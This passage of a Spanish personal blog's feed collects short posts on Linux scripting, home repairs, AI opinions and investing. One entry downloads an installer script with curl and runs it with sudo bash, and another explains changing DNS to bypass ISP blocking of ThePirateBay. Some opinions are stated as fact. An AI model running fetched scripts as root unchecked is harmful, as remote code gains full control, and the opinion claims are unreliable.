</span></span><span style="display:flex;"><span>day<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>date +%d<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cp posts/2025-10-hola.html posts/$year-$month-$day-$1.html
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">"/<ul>/a\ <li><a href=\"posts/</span>$year<span style="color:#e6db74">-</span>$month<span style="color:#e6db74">-</span>$day<span style="color:#e6db74">-</span>$1<span style="color:#e6db74">.html\"></span>$2<span style="color:#e6db74"></a> – </span>$day<span style="color:#e6db74"> </span>$name_month<span style="color:#e6db74"> </span>$year<span style="color:#e6db74"></li>"</span> index.html
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ls -1 $3 | sed -e "s|^|<img src=\"https://archive.org/download/tag_name/|" | sed -e "s|$|_thumb.jpg\">|" | tee -a "posts/$year-$month-$day-$1.html"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Carga imagenes de archive.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in <span style="color:#66d9ef">$(</span>ls -1 $3/*.jpg<span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span> echo <span style="color:#e6db74">"<a href=\"https://archive.org/download/</span>$4<span style="color:#e6db74">/</span>$i<span style="color:#e6db74">\"><img src=\"https://archive.org/download/</span>$4<span style="color:#e6db74">/</span><span style="color:#e6db74">${</span>i%.*<span style="color:#e6db74">}</span><span style="color:#e6db74">_thumb.jpg\"></a>"</span> >> <span style="color:#e6db74">"posts/</span>$year<span style="color:#e6db74">-</span>$month<span style="color:#e6db74">-</span>$day<span style="color:#e6db74">-</span>$1<span style="color:#e6db74">.html"</span> ; <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vim <span style="color:#e6db74">"posts/</span>$year<span style="color:#e6db74">-</span>$month<span style="color:#e6db74">-</span>$day<span style="color:#e6db74">-</span>$1<span style="color:#e6db74">.html"</span>
</span></span></code></pre></div>
-
Google aún no tiene ningún auto full autónomo y la tienda supuesta tienda de Amazon Just Walk Out manejada con AI y sensores era monitoreada por humanos.
https://imlauera.github.io/grandes_empresas_mienten/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/grandes_empresas_mienten/
<p>Todavía no existe ningún auto 100% automático pero todos quieren ser los primeros. Un auto 100% automático implica que puedas dormir en el auto. Desde el 2014 Google viene mintiendo con autos sin volante. Tesla será la primer empresa en tenerlo.</p>
<p><img src="https://imlauera.github.io/img/amazon_justwalkout.png" alt="amazon"></p>
<p><img src="https://imlauera.github.io/img/waymo.png" alt="waymo"></p>
<p>El presidente de UFC miente de que unos power slaps hace más números que las peleas de UFC.</p>
-
Imlauer
https://imlauera.github.io/imlauer/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/imlauer/
<blockquote>
<p>De donde viene el apellido Imlauer?</p>
</blockquote>
<p>El apellido Imlauer proviene de un lugar específico o región en Austria. Imlauer se originó en la región de Carintia, en el suroeste de Austria. La historia de los apellidos generalmente se remonta a las tierras de propiedad donde las personas vivían y trabajaban, y a menudo se basa en términos relacionados con la localización geográfica, características físicas o cualidades de las personas. Es posible que el apellido Imlauer esté relacionado con alguna característica destacada de la región de Carintia o con alguna propiedad donde las personas con ese apellido vivían y trabajaban en un momento dado. Sin embargo, más información específica sobre el origen del apellido Imlauer sería necesaria para determinar más detalles sobre el significado detrás del nombre.</p>
-
Inodoro reparacion X2
https://imlauera.github.io/inodoro_reparacion2/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/inodoro_reparacion2/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1eoo5rlEkfHO">https://vocaroo.com/1eoo5rlEkfHO</a></p>
<h4 id="archivos-en-archive">Archivos en Archive:</h4>
<p><a href="https://archive.org/details/vid-20251007-164045_202510">https://archive.org/details/vid-20251007-164045_202510</a> <a href="https://ia600100.us.archive.org/18/items/vid-20251007-164045_202510/Record-299.m4a">https://ia600100.us.archive.org/18/items/vid-20251007-164045_202510/Record-299.m4a</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvrxlt39NgucOJcINFWL8MawhBW8iAa6iVCxy-9cmuGU2jl7JAHPDsAYNnVfgK04vd_pymdYR0uAb6_bY4Q3gt8OyKhMFtXIJwzs_ICsQyoAENqP0jEblE1SHGeyZQiQaSXym3hS5qu0yg38KjJytNbR0pjU14rpSTcaHcoGpvgBQyUIZdenPp2NAIaZI/s4160/IMG_20251007_164042.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6MVjyR3pCitkh7iRvRZGjfRI0ONTxbBBdsTMiMunKBRgzuwEk4G3PZ6TPDlKxpPhH75v4-fEkzr0QKvgVwWj-ssQ6qb73gAnifH8mZYi6QhF5cB7I_OEbgRBTGjZve3cBHz6y9AnibicvjN7C8077ZB8B-8QyE9WuDuPzSYb4JPhw4WEHhxaOQBN5JVc/s4160/IMG_20251007_163740377.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFui9p5PzpbzfbXOaL4Uk02bOokMBEr2PzjU8Lf7MOop-nRR9Z-8iRBlR62EPyN31dN0JOfIt1EBimjFBI2zxvmnZBAou0OrpMxYOsuEnRuZv19x3oNtpoqsQ618bktks8ATNqvr3vhCkuIldJ_VBOyN-y4KNxPG1H6P1d0WtTa7m0iDlzlwFCzo7APeE/s4160/IMG_20251007_163746516.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAXnGnh4We6EQBs64imumOSws3C2dKK3vSukgmYq09vusmTPYReeF7LMys12HbYhzIz3BW85hWBQuEBhSIHhwy271nIL4Ou7VUQRaO4NHDMYt6NfpwmKuHNzPNgvW9DnpnODrv-JRPLirEPQ95E6KaxsWCKWmn4X9f6e6EvgQq69fldDNhYE9G80o3ChA/s4160/IMG_20251007_163750269.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibA-2wtFamtQPNqWxC9Gv1L49MybBCEjt4JOJwjrF57vIQ-YVAIMddMbzhzwDweQlsg5Yf5jETnZ7wtZ-WRZ6VTDSyTOZKzvzCv0aUFXCldXNND7h6YbrM4JwkmByy4H1my_MMWrp3H0V6ffYhLO3UVzB1hH39D8htSvAcvmD6yMFpIa891mpodsPB0gQ/s4160/IMG_20251007_163801269.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzXHG6wNiwcBJGJTGL8KafIyRS51lDFOt9sOXIrt2GGv0WrWT5L1YhBEXJsUpNyD_TqZcsC9VpjVB3MdGOprOt3CeCVjaGEjY55NAug1JBKTguntzE8KxjMP35VYxWYv0m0ElglYb9aSW3g0w5KP47BK9FWMg1mLFNindIz5SZX0gcijgCOrUiLwYSyaI/s4160/IMG_20251007_163808799.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEnRKWsvhri0xlx4HuZstzU-Z2ow-LGkoW3LHfwJn01w9Mi3XOz6YQP7wTch6rgZer4b7OPO_IuVtzEWUYVkYy1oBACO-KmbuB9uclb03iqrfPBQ6rk0s3qGbtoLDFYurwqZWF2KxzTHAa3i000pnRAqnmH-sbQ73pT3gZ5RU1MzV9UOIiVkB1Td40ciI/s4160/IMG_20251007_163820532.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFDJbTQ1oMSsCcS2adTBgMpUJ1ykZYZf9_xNC91fTF3AnPT6aV-wQHXY2vLN7sYc1u9YFeEz30FJtZmvCxizq2DTZQSHOpFBo97dSSAMJKYS-AKnOYu91DWaP-qNl8STKNyKJSKrfPQIulSCXht_CuTSBk-FLQ_tUASiaofv3ts9FiRk33xEyO9lQ7ToM/s4160/IMG_20251007_163831977.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhElb9NAPAXoJBei0rCzc6rvmBWg4KF1WzxR39a9Z3tCuio588FUe3wvKKQxcwz_wCeVf_O7rl875u_H1O2T7jDjEdlqEumMkjrFbLMMlyGSxLdFDFJizzA_AvbWJKQc7DGtrQB4t4U3sSqjMQypbXNjdJ1Q9wf8-Ro4u27zh6EOrHxuUmRuPa0QuaQ7ZI/s4160/IMG_20251007_163915441.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiueIHa6sDDnwYa08gxcTgYvia3mgkkZUusyxj72Ao14icT3wRaG6AQmek2T7QHqk-T251_Sxde035gxuvT0ZT0l6Yssm2w3YOH5AzI-pXZkel7lNBWtFoK746iA_Y2Zd2CztXZpg0bPCbjg1KgjDFiwBsx1Es_MvIoIN3n6LpsZhYPjK4FIsia9XLKpw/s4160/IMG_20251007_163923081_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimnisdTZ36JaIgZBSTyNnSg9QCjJ9RUE-hLLH7z1a9yGbnxBfsIdVjFQcRzkxra2rUmZcZmzv17_u9ufWMYwJKsgbm6l3WgumL7_Etr9UAOIDhzU3cRSgYuRz45ywbVEaKKuaP-UCeDjT30Vxo9kSix6cAwNI7TtZsehCmuD5TlmaquJpBn5diSLST5hA/s4160/IMG_20251007_163923081_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdPlu59vqcRQr92A_YOlX4wlmJkthXwOtWk32nvzKlT6UZoPbi9hq8WDYeDHTmAqNksXHKbORV6-NXm3ms-lnJFjkfnHhXdyOhAXl7ZYWfdQnH2Dj2w3bQvGHeALdKfRtJ7k_pI3OcttUhEMCxMX2GI2eriyNJ9hVW6hkfZGyeRMWcr-1Sqzq-S16xdQ/s4160/IMG_20251007_163931039.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8cX4lxDqq50aJh4RjGFUtjJdl5BxEG3KzESnQpsDO-eeYz_TxEpL4ceNfl0K0-gNbKBKIJ-chKSDTAtmHPOxsrbyqLwCwad_6y66Utzfip55a0dN6VttIz4q2qZHeNwwQYFzholIrlUsNVBbfAkU4vODNSTKnIvzxtKJyPtHblu7CKDQQ_KdCJd4YLuE/s4160/IMG_20251007_163938689.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_3cXfzR469j30l7YK7FqAnFalWPW-eEw7WhpGVD2RjP9I8AhsJwGMnW0yCtcsTL5Ps46Q5aafmNIUBqIoDRS4DxhSUktSTJJ9VQBTGUcKsE92S5Omzo1l8gx_eJ6K_tB387epJE6fbWHfd7t8eM5hCJsiaJO0czqh5OUtJ6ewzDAhjmDiMD3shTKYGac/s4160/IMG_20251007_164006974.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhri3mOeX5VE6ss4NlFhpsQeX4OYUM9fh5roe1J4ZPtLpq0E9YAIZy_ClcSDdTQJox5T0AcmjaM8TOADYo4qj8qSrK9FCoMF-CtCkbQTz3ZZncxXjCJtjYbcs1GEUp1d77dMgN_651dodgGzzOX-vtsAV8WTEbe0_EMgdTZ4VhZymZ7cCc0QfP0m93L-Ug/s4160/IMG_20251007_164457975_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRqTM6vtYGmuV_iju_j49BC7RIetB55lcUjEDG6r_3iyhEbGQKK97f_kNd-W6VcvwbwY7Nu6Ur2EMwUh9b-QkX01rLMPMoJSY2o9X8ESGVcZwXCR4x05MYvdm63yCOVgPwZZ8kal5Pl74inRFrgx0YffOIQkb53cqczdJIsNr-OcX385qgHrp3vaKR2As/s4160/IMG_20251007_164457975_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibbaxTgsD1i7d4iJhzJ0q_HSz-r54YuaBTdtD8rOsJl32jhOUmc9_Z7INzDVEoPyH3DRTNeKvxWkwpH_AZRfciifmJBcL84I0NmMEeAwST-n15zdKsEBZZI4yjWftTG1M5Uil-Jq82-1Lu5ILeD7FuQl3ZSOc3Qd-WRF7MrY09juqSgnmpddtz3vyJ1xg/s4160/IMG_20251007_164459652.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKgFFqy9X1ZSYYZm1o1vf5Lzz3-s8azlOgL3DVmIsBXfLxJm3wdassqAQWJBDhLEKB6uUzo0mbQHA9MwsGN3a_bA3uD8h8IgdaoScAB8mdTyuH5m5N9NJHN5So4cRvWqKIkNP4KX80R26-GePf4OcU4le4oNP9cZws2qC-90SJ7HzkJRLZ6b8UaSImMV8/s4160/IMG_20251007_164504620.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_MdoVhXC4rheFm7OOkbRdG1JE0p-RGr5Tyy79uGruLupZ_huizOiy6tzgrkHl9m8Q3V2HOCnrkFUxj_mGeiyhBK-EFgctUpKZ1mxPBSqOoc7zAIaBG6Pf5VZ4vPkvRS6oAR3kUaXPGFMSFbgYitAHRPynttf8Yntk6ak4TQ3hxRMhgRa7TG8L3TlFxQw/s4160/IMG_20251007_164838753.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ333XCM-ppmzCy2j1ugF2wnvmbqw29YuHuv_2R8XmgwOz4ygCSIWBaT744979x9hIsS4MAWUiCqd2rgmBS9_5ZrTTURGVBEpCdNiOJyuLgFkhGn-8Zw-dEtCkjx19AT_Y5aW8-vBf_MqXS-o8vhaOWpKDBGol3hGo1zZGYwVqDhBJB6QbiYN6mqWyKzc/s4160/IMG_20251007_164840231.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh824i6ifzxfIHHh3hNUgwa3SwVrgZnOhl1N3WfKXcXyyqBuY_EKArQG0AYZDCnpLM-YdfVhj4YqRBtdEnhB6iP5rYuAmQNq_5E_v9LTU8ElQ-hHBJyKP2geLGMqn68sL3eQBOoCZho_vu_HjdvOcdhixWBruDRwfvsf2bPB2I9zhOz9_83iHQa6bF0WHg/s4160/IMG_20251007_164841748.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiToLA4NwMqPQIbtCCOuGikBgSnmG1LqSNxFckW7PmvNpxSc5KRRWxhlzKPH4_3etdIDBn2bylCZwS2Skcef1LWsbsvgfwdcN6ZxYlJelMGTbRy1rrhyxOiZ30KLc2BKbFeO1MkqhOBZUAX7LbgdylUJ6PIhFudT9qGJg6zLSSW7ER2JJcbE1xjtG4XDmo/s4160/IMG_20251007_164856618.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimGMXDqDQrECbKQHepqz7Pxku2kPOHLNu1f12sPKkfl9V59AyzmdskAdMU-6kvDvZbuyQPu-6JI9g9WVdFIp2iTz7uGRZzlb3fEliPvt7Zo2V5uIyHce7JfD2UeLpeC9vD0t5Q5cYDfOqLdjlQoUDxBH4URm915JrjJsoACDY7Uy7rILaYy8COdPFgXj0/s4160/IMG_20251007_165004933_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNVs_h7WsiicKo0PdpZR_OivFRe0qTbI2WmYitVitkfaD4CrFmPTUYyLsjpZE3qCPt2N6RUdoTuNPa4iO5SChiTUnO6j1jRcR86efdKfju_IVg2G2XmfjIQ6DozZMILQsKOjGLgqDtgHOd9OkyBahmLr1ZQ6_bi565yUDiYqiDJgklZBI8knYasQ7FL_E/s4160/IMG_20251007_165004933_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiQ7eZrrsdpXIHqDoJWlXZ3tnSDfzcNgfyppc_bKPcD9gwnVRiPAcB96MehMOmB7t1eK1wA73IIwdFwXRF7GfsN6-fLylIgiE3qxNakbrS5LYIpOqjtQqP6Aos1orsWVL3AJYMXAWoHAFRXf6Wdte2FHScbzLpFRuY0X-Y6Et2zdCOEg8kfJWNG4464Vo/s4160/IMG_20251007_165132805.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCiRBjwLG9_RtjUQriQQEo54vsVmD05kWSYWq45ON8QEoejHnWdiwGaS-H9uBHH6jQ6IfLYZKYeBmzSFZIHuJgc8oZHj_jMJbx5vdaCLze5Pxdg9uDGazKtT-qsGBrr9MRlwG432D4enzG9O-00RiTbrHqmUbcrfMuMMiCGJoipOeWcHu-uDDrqk-cGGA/s4160/IMG_20251007_165202484.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0vB228QqqDtRx7i16sMOhN2r-5cQi6BmkENnufK4_y76N1Hh3Bfuksxjj2a0vWIIZtbVNVmwSs-Sesho6P-BXJ2nZKQu9HezXvBpQcPglmvZG3o11WqtOAuvBO273VJLvuKBtOrj_RAGVs1HRFWRzaDCZU4WC31iHZ2134IKC4F-Cdd1KSpQydbQzvY/s4160/IMG_20251007_165215330.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8Qvvjk0DIRJESLO7ohjyHm-DkW3tNlVb6C64sRY5aMDE6GUHo9A1kqB88Qd58ZP4Geaiiun_k_C3l9i1ZSDmnCSdlXWQvlwjm10L-UvBjnL2T9d8xgRxjCKxCfDSn7cCubZcvYe32Ptex3W_7iOgNcucUFT8ujhyphenhyphenTFU0Y0wx-qXk5tTFGqEul7QettoA/s4160/IMG_20251007_165258147.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCFrtpOodGxnkz3u-T09l6Gj8nCViRSIC_OCoSMXk4rT3shMtm3OzyT71dly-mdSEvqGl8-Wsm8U2kQq2lMGkEpTGy68l1O05LDm3n1M0onRYHGR4ik7kgdrrEgG7yImLEJp0umPoRrZ0ixJNfiC4hJTZnZEKzkELwV359xB6VLV5ledXkvMb6KPO6zSg/s4160/IMG_20251007_165316061.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ38a4tZS2ryq1QRFXqgJr4XDnJBF8WRzZ1oOD2uDbcKeTo63xlvhVtQQW8CfErO1cR-ZwOY_rAzwi8egs5CzNiOuVn8Yt-WEuo8dcGytXc9OQkZTma7c1FeYwkwG0z-IblxG9gHDPfUFuCxHdcglzK6QMTKpp60QEuqt7emgbKH9lyOSvLUOAe4_jH40/s4160/IMG_20251007_165344072.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfTJ2O3O8M5uBNu-9lc7ybSJYOa6C7bV3cVOfO-s55jFWmssaEvGJSqM-dhq0nUS3dEb_uuPeSb6oHl0gk9k0C2y3QwVITRrfSoVwnx_-zgSIk0PPmy-9gqhnQPDKTwDtigijCNowvmRK3qjjbDkXkyIWxIR86_wUrTIKqgCJ3ocm61kObSeXgnX1cyq0/s4160/IMG_20251007_165418182.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4AcDl6e64yh56epzD7fM5FJE-iUaurfI7HU9reaSBEAkEE9ekLs5wxwlKgzz_73dLXTx-pRtnzIIvgs8djEc7uTtJbZ9ho5CoLQddXaU5dOKCFhIMSfPFI-fmtGNoM_OTrrAn7Yc_iy1Um7H4UW_XiAhoWe_w_uL6qkVjdvf8rqT91gOlpGx5zrmKeFw/s4160/IMG_20251007_165500631.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ucDAaWsvXX0_Q4ryp67KESFHTCJ4EaDdVlmDhJF8dd7p85mQskivKPlnfYfj4pbX6SuWu9LTwJio1xkJqKDqwxpCnAkK3aHxnoYbcPIAzf83_EB9Z-m51a5_ewjv_sRAPjP9vaTap_g7-c3GE2AqjCgHpG5JZMbayxh3FD7VKFVPv92hTj2rrSeJ22o/s4160/IMG_20251007_165501666.jpg" alt=""></p>
-
Intento arreglo televisor tubo de rayos catodicos: enciende ni el LED de standby.
https://imlauera.github.io/television_reparacion/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/television_reparacion/
<p>Marca: Philips. Modelo: 21PT5432/77R</p>
<p>Le cambiamos el transistor del switching y el integrado(oscilador) pero igual no arrancó, no prende standby.
Después pensamos que había que cambiar junto el integrado(oscilador) y el transistor, porque cuando yo puse el transistor, ya se cagó otra vez el integrado(oscilador).</p>
<p>Integrado (oscilador): TEA1507
Transistor: 15</p>
<p>En la proveduría electrónica.</p>
<p>El fayback es una fuente de alta tensin para el horizontal tambien se usa para la fuente.
El fayback es una fuente switching usa eso para hacer la fuente que usa para el standby.</p>
-
Internet crea microcelebridades de personas que lo único que hicieron fue tener padres ricos, en un futuro todo el contenido será generado con AI.
https://imlauera.github.io/ai_reporter_took_old_job/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/ai_reporter_took_old_job/
<p>La gente consume cualquier basura que le des, como lo fue la televisón.</p>
<p>Internet crea micro celebridades de personas que no hicieron nada más en sus vidas que nacer millonarias.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>At least in the past people were celebrities <span style="color:#66d9ef">for</span> a reason other than the number of followers they had on social. It<span style="color:#960050;background-color:#1e0010">'</span>d be nice <span style="color:#66d9ef">if</span> we could <span style="color:#66d9ef">return</span> to a time when people were part of the public discourse because they were good at something <span style="color:#f92672">(</span>or their parents were rich, sadly<span style="color:#f92672">)</span>.
</span></span></code></pre></div><p>Antes no era normal comprar un juego y comprar items dentro del juego, hoy en día sí.</p>
-
Invertir
https://imlauera.github.io/invertir/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/invertir/
<p>Dado tu perfil técnico (Linux, CLI, software libre), olvida los consejos bancarios tradicionales. Tú tienes ventaja: sabes manejar datos, automatizar y entender sistemas. Aquí tienes una guía técnica para abordar inversiones:</p>
<h3 id="1-la-herramienta-definitiva-plain-text-accounting">1. La herramienta definitiva: Plain Text Accounting</h3>
<p>Si te gusta la terminal, olvida Excel. El estándar de oro en tu mundo es <strong>Ledger</strong> (o su fork <strong>hledger</strong>).</p>
<ul>
<li><strong>Qué es:</strong> Contabilidad por línea de comandos en texto plano.</li>
<li><strong>Por qué usarlo:</strong> Versionable con Git, scripteable, y te obliga a ver tus finanzas como un sistema de registro doble (activos = pasivos + capital).</li>
<li><strong>Comando:</strong> <code>ledger -f finanzas.ledger balance activos</code></li>
</ul>
<h3 id="2-cómo-calcular-la-mejor-inversión-metodología">2. Cómo “calcular” la mejor inversión (Metodología)</h3>
<p>En finanzas, “mejor” no es el que da más dinero, es el que da más dinero <strong>ajustado al riesgo</strong>. Para calcular esto, usa Python.</p>
-
League of legends linux
https://imlauera.github.io/post/league_of_legends_linux/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/league_of_legends_linux/
<p>Tenés que instalar Wild Rift para poder porque llegó un anticheat que se ejecuta a nivel kernel es decir, no te deja jugar el juego si no tiene el control total de tu computadora, está probado que este tipo de anticheat no es eficiente.</p>
<p>Instalá waydroid En kali:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install curl ca-certificates -y
</span></span><span style="display:flex;"><span>curl -sSL https://repo.waydro.id -o wd.sh
</span></span><span style="display:flex;"><span>sudo bash wd.sh trixie
</span></span><span style="display:flex;"><span>sudo apt install waydroid
</span></span><span style="display:flex;"><span>sudo waydroid init
</span></span><span style="display:flex;"><span>reboot
</span></span></code></pre></div><hr>
<p>Ahora iniciá el contenedor de waydroid:</p>
-
Listar fonts linux
https://imlauera.github.io/listar_fonts_linux/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/listar_fonts_linux/
<p>Tan simple como <code>fc-list</code></p>
-
Negocio malevolo segun chatgpt
https://imlauera.github.io/negocio_malevolo/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/negocio_malevolo/
<p>Le pregunte como hacer un negocio sabiendo que todos los chicos tienen un celular.</p>
<h1 id="10-ideas-de-negocio-aprovechando-que-todos-tienen-celular">10 ideas de negocio aprovechando que todos tienen celular</h1>
<p>Cada idea incluye: qué es, por qué funciona, cómo lanzar un MVP rápido y formas de monetizar.</p>
<ol>
<li>
<p><strong>Micro‑comunidades por interés (Discord/Telegram/WhatsApp/BeReal-like)</strong></p>
<ul>
<li>Qué: grupos cerrados con contenido exclusivo (ej.: tips de skate, memes locales, hacks para estudiar, mini‑cursos de guitarra).</li>
<li>MVP: crea 1 grupo en Telegram + landing simple (Google Forms) para cobrar $/mes. Empieza con 100 usuarios objetivo.</li>
<li>Monetización: suscripción mensual, patrocinadores locales, venta de stickers/digital goods.</li>
</ul>
</li>
<li>
<p><strong>Micro‑cursos y “chispazos” educativos (video vertical 1–3 min)</strong></p>
-
Personal Telecom bloquea sitios: ThePirateBay y Example.com
https://imlauera.github.io/personal_bloquea_sitios/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/personal_bloquea_sitios/
<p>Bloquean <a href="https://thepiratebay.org">https://thepiratebay.org</a> y <a href="https://example.com">https://example.com</a> cambien las DNS y se darán cuenta que funcionan esos sitios.</p>
<p>Lo hace a través de la DNS. La solución es cambiarla.</p>
<p>En el caso de Linux:</p>
<p><a href="https://superuser.com/questions/442096/change-default-dns-server-in-arch-linux">https://superuser.com/questions/442096/change-default-dns-server-in-arch-linux</a>
<a href="https://bbs.archlinux.org/viewtopic.php?id=225794">https://bbs.archlinux.org/viewtopic.php?id=225794</a></p>
<p>En el caso de Windows lo tendrán que buscar ustedes.</p>
<p>Ante cualquier duda pueden acceder a través de Tor.</p>
<p>sudo vim /etc/resolv.conf:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nameserver 1.1.1.1
</span></span></code></pre></div><pre tabindex="0"><code>Re: NetworkManager keeps rewriting my /etc/recolv.conf
I guess you have to add rc-manager=unmanaged.
/etc/NetworkManager/NetworkManager.conf
[main]
dns=none
rc-manager=unmanaged
</code></pre><p>La última alternativa: Para hacer al archivo inmodificable:</p>
-
Portón eléctrico con Arduino
https://imlauera.github.io/portonelectrico/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/portonelectrico/
<p><img src="https://imlauera.github.io/img/porton/1.jpg" alt="circuito">
Agarraste una fuente switching de 12 voltios, el arduino es de 5 voltios, y le agregaste un relé en el pin 32.</p>
<p>El pin 32 va a un transistor bipolar, podría haber usado un mosfet y de ahí conecté al relé.</p>
<p>El portón hay relé de 220 y comanda todo con fin de carrera, sólo tengo que cerrar el circuito</p>
<p>Corto la fase y lo puse en el relé o le doy fase o no le doy fase, si yo le saco la fase despega
el relé.</p>
-
Preguntas de exámen: Auxiliar electricista
https://imlauera.github.io/examen_auxiliar_electricista/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/examen_auxiliar_electricista/
<p>Armar esquema eléctrico no esquema de montaje.</p>
<p>El examen es a carpeta abierta.</p>
<h6 id="clase-37">Clase 37:</h6>
<p>17 de junio es el examen teórico. Martes y miércoles si tienen alguna duda pueden seguir el otro día. <br>
Yo trato de meter la mayor cantidad de preguntas, pero siempre referida al tema. <br>
Puedo meter varias preguntas y la idea es tener un concepto bien claro que es lo que saben ustedes, esa es la idea. <br>
Hay recuperatorio.</p>
-
Preguntas tipicas entrevisas
https://imlauera.github.io/preguntas_tipicas/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/preguntas_tipicas/
<p>14.¿Qué te motiva a trabajar dentro del área de Desarrollo de Software?</p>
<p>¿Cómo imaginas tu crecimiento profesional dentro de la empresa?
¿Qué habilidades esperas desarrollar?
¿En qué tipo de proyectos te gustaría participar?</p>
<p>Reflexiona sobre tu estilo de trabajo:</p>
<ul>
<li>¿Cómo abordas las tareas, enfrentas los desafíos y colaboras con los demás?</li>
<li>Proporciona ejemplos específicos de situaciones pasadas que ilustren tu enfoque y cómo éste ha contribuido al éxito de tus proyectos o al logro de tus objetivos.</li>
</ul>
<p>17.¿Puedes describir una situación en la que hayas demostrado ser resolutivo en el ámbito laboral?</p>
-
Preguntas trabajo
https://imlauera.github.io/preguntas_trabajo/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/preguntas_trabajo/
<p>Preguntá cuánto cobran los demás por ese trabajo, considerá la distancia y cuánto tiempo te toma ir hasta allá, considerá el tipo de trabajo a realizar y cuántas personas pueden reparar ese problema. El número que se te venga calculá el doble.</p>
-
Probar fuente alimentación de PC
https://imlauera.github.io/probar_fuente_alimentacion/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/probar_fuente_alimentacion/
<p>Hacer un puente entre el cable verde y negro y medir con el tester en continua los diferentes voltajes.</p>
<blockquote>
